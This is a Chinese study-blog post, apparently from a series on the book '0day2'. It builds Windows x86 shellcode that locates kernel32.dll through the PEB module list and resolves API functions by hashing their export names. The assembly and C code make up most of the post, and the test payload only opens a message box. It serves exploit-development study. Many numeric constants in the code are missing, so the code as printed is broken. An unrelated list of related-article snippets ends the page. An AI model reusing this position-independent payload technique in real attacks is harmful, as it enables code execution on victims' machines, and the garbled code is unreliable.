通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数

1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。

那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址

首先我们先来找到hash

 #include "stdafx.h"
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fname)
{
printf("%s",fname);
DWORD dret = ;
while(*fname)
{
dret = ((dret<<)|(dret>>));
dret += *fname;
fname++;
}
printf(" function`s hash is %.8x\n",dret);
return dret;
}
int main(int argc, char* argv[])
{
//char fname[]={"MessageBoxA"};
//DWORD dret = GetHash(fname);
Gethash("ExitProcess");
GetHash("MessageBoxA");
GetHash("LoadLibraryA");
GetHash("GetProcAddress");
return ;
}
MessageBoxA function`s hash is 1e380a6a
ExitProcess function`s hash is 4fd18963
LoadLibraryA function`s hash is 0c917432
GetProcAddress function`s hash is bbafdf85

代码执行结果。

     nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
mov ebx,fs:[0x30]
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
mov ecx,[ecx] // 获取地2个链表
mov ecx,[ecx] // 获取第三个链表 win7 下必须加这一行, xp下注释这行
mov ebp,[ecx +0x08] find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop

以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。

所以我们还得想办法。

解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin

 但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx     //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度
jne next_module
pop esi
Ret

经过改造和测试(xp win7下测试通过的代码)的汇编代码

 // 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试
_asm
{
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
find_kernel32:
mov ebx,fs:[edx + 0x30]       // 加上这个 edx 可以缩短shellcode长度,还没有00
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
//mov ecx,[ecx] // 获取地2个链表
//mov ecx,[ecx] // 获取第三个链表
push edi
push esi
next_module: mov ebp,[ecx +0x08] // dll 的地址
mov edi,[ecx+0x20] // AddressOfNames
mov ecx,[ecx]
cmp [edi+*],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
}

此代码兼容xp_win7 弹窗

接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验

感谢 failwest、cryin

----------------------------------------------------

| QQ252738331

| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

| 微博:http://t.qq.com/zhenw0

----------------------------------------------------

旧书重温:0day2【4】动态获取函数地址的更多相关文章

  1. .Net CLR GC动态获取函数头地址,C++的骚操作(慎入)

    前言: 太懒了,从没有在这里正儿八经的写过文章.看到一些人的高产,真是惭愧.决定稍微变得不那么懒.如有疏漏,请指正. .net的GC都谈的很多了,本篇主要是剑走偏锋,聊聊一些个人认为较为核心的细节方面 ...

  2. php中如何动态获取函数的参数

    php动态获取函数参数 一.总结 一句话总结:a.PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 fun ...

  3. 1. 通过DHCP服务器动态获取IP地址之后无法上网的解决方法

    故障:内网正常,在同一个局域网内的其它PC端通过DHCP获取IP地址并且可以正常上网. 1.通过wireshark抓包,使用ipconfig /renew时,wireshark内出现DHCP请求服务, ...

  4. 001_centos7配置网络动态获取IP地址

    笔者今天刚装完centos7的虚拟机,发现无法获取IP地址,经过网上查询资料,发现centos7是默认没有网络配置的,需要手工配置. 而centos7与centos6不同,没有了config命令,所以 ...

  5. php动态获取函数参数

    PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 func_get_args()  函数即可. 可变参数并 ...

  6. PHP实现动态获取函数参数的方法

    1. func_num_args — 返回传入函数的参数总个数 int func_num_args ( void ) 示例 <?php function demo () { $numargs = ...

  7. FL2440 rt3070模块station模式动态获取IP地址

    ---------------------------------------------------------------------------------------------------- ...

  8. 日志系统实战(二)-AOP动态获取运行时数据

    介绍 这篇距上一篇已经拖3个月之久了,批评自己下. 通过上篇介绍了解如何利用mono反射代码,可以拿出编译好的静态数据.例如方法参数信息之类的. 但实际情况是往往需要的是运行时的数据,就是用户输入等外 ...

  9. 使用Mono Cecil 动态获取运行时数据 (Atribute形式 进行注入 用于写Log) [此文报考 xxx is declared in another module and needs to be imported的解决方法]-摘自网络

    目录 一:普通写法 二:注入定义 三:Weave函数 四:参数构造 五:业务编写 六:注入调用 7.  怎么调用别的程序集的方法示例 8. [is declared in another module ...

随机推荐

  1. 199. Binary Tree Right Side View -----层序遍历

    Given a binary tree, imagine yourself standing on the right side of it, return the values of the nod ...

  2. python之路 RabbitMQ、SQLAlchemy

    一.RabbitMQ RabbitMQ是一个在AMQP基础上完整的,可复用的企业消息系统.他遵循Mozilla Public License开源协议. MQ全称为Message Queue, 消息队列 ...

  3. 自动化测试调查问卷送《QTP自动化测试最佳实践》

    自动化测试调查问卷送<QTP自动化测试最佳实践> http://automationqa.com/forum.php?mod=viewthread&tid=2308&fro ...

  4. java注解1

    http://computerdragon.blog.51cto.com/6235984/1210969 http://blog.csdn.net/it_man/article/details/440 ...

  5. python2.7中的字符编码问题

    0. 写在前面 起因:之前写个数据预处理程序的时候遇到了点问题,用re模块的正则查找方法search时总是找不出来(找错了或者出乱码),于是捣鼓捣鼓. 经过:查资料,做实验,发现用utf8编码的str ...

  6. sql 转

  7. 【WIN7】windows\system32 下的几乎所有文件的简单说明【1】

    1: aclui.dll .....Security Descriptor Editor,没有它,注册表编缉器会无法运行 2: ACTIVEDS.DLL .....(ADs 路由层 DLL). 没有它 ...

  8. jQuery时间轴鼠标悬停动画

    在线演示 本地下载

  9. [C++] 2017联发科技杯编程挑战赛 复赛题 “杰克船长的烦恼”

    题目如下. 规则 杰克船长这次运气不错,抢到了一大堆金币.但他马上又开始发愁了, 因为如何给大家分金币,一直都是件不容易的事,每次杰克船长都要头疼好几天. 关于分金币,海盗的行规是这样的: 每次行动, ...

  10. 【bzoj1009】[HNOI2008]GT考试(矩阵快速幂优化dp+kmp)

    题目传送门:https://www.lydsy.com/JudgeOnline/problem.php?id=1009 这道题一看数据范围:$ n<=10^9 $,显然不是数学题就是矩乘快速幂优 ...